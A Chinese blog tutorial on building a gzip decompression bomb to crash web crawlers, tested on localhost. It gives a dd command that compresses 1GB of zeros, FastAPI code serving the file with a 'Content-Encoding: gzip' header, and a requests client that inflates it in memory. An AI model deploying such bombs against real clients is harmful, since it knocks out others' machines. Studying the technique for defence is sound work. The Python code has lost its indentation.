爬虫的噩梦—gzip炸弹

介绍

有一些网站服务器可能使用 gzip 压缩网站资源,这些资源在网络传输上是压缩后二进制的形式,当网站头部有一个”Content-Encoding: gzip”的是时候,客户端就会先使用 gzip 对其进行解压,然后把解压后的内容呈现给用户。目前主流的爬虫框架,如”requests”、”Scarpy”都会自动帮你完成这件事,用户对此是毫无感知的。

测试

这次测试压缩用的是 Linux 的 dd 命令,很简单就能实现

首先我们用制作一个 gzip 文件,把其放到待会要开启的 web 服务目录下

echo -n "Hello world" | gzip  > data.gz

然后开启一个 web 服务,这个是没有设置”Content-Encoding”头部的

# main.py
from fastapi import FastAPI
from fastapi.responses import FileResponse

app = FastAPI()

@app.get('/')
def index():
resp = FileResponse('data.gz')
return resp

启动网站

uvicorn main:app

我们用 requests 访问该网站,发现返回的是乱码,因为响应包的头部并没有设置”Content-Encoding: gzip”,所以并不知道这是压缩后的网站内容,只返回了一串不知名的二进制字符

>>> import requests
>>> resp = requests.get("http://127.0.0.1:8000").text
>>> resp
'\x1f�\x08\x00\x00\x00\x00\x00\x00\x03�H���W(�/�I\x01\x00R�\u058b\x0b\x00\x00\x00'

然后我们修改 main.py,增加头部,然后重启一下服务

from fastapi import FastAPI
from fastapi.responses import FileResponse

app = FastAPI()

@app.get('/')
def index():
resp = FileResponse('data.gz')
# +
resp.headers['Content-Encoding'] = 'gzip'
return resp

再次用 requests 访问该网站,发现返回的是正常的文件内容了

>>> import requests
>>> resp = requests.get("http://127.0.0.1:8000").text
>>> resp
'Hello world'

实战

思路如下:

将1G的文件用 gzip 压缩成 1m,然后放到网站上并在网站服务器设置头部,当有人下载该文件时看到的文件大小只有1m,但客户端会将这个1m的文件在内存中还原成1G的内容,然后该爬虫服务器的运行内存瞬间爆涨1G,甚至,我们还可以将这个1G扩大为10G,100G......这样做之后爬虫服务器杀死爬虫进程,重则死机重启。
  1. 制作一个1GB的 gzip 压缩文件,放到 web 目录
dd if=/dev/zero bs=1M count=1000|gzip > boom.gz
  1. 开一个 web 服务
from fastapi import FastAPI
from fastapi.responses import FileResponse

app = FastAPI()

@app.get('/')
def index():
resp = FileResponse('boom.gz')
resp.headers['Content-Encoding'] = 'gzip'
return resp
uvicorn main:app
  1. 简单写一个爬虫程序,执行(然后我的笔记本风扇就响起来了)
import requests

def main():
resp = requests.get("http://127.0.0.1:8000")
with open("test", 'wb') as f:
f.write(resp.content)

if __name__ == '__main__':
main()
  1. 查看下载的文件,发现它已经在内存中还原成1G的样子了,但它在网站服务器里是1Mb的大小,至此实验结束

结语

以后写爬虫得小心一点了QAQ……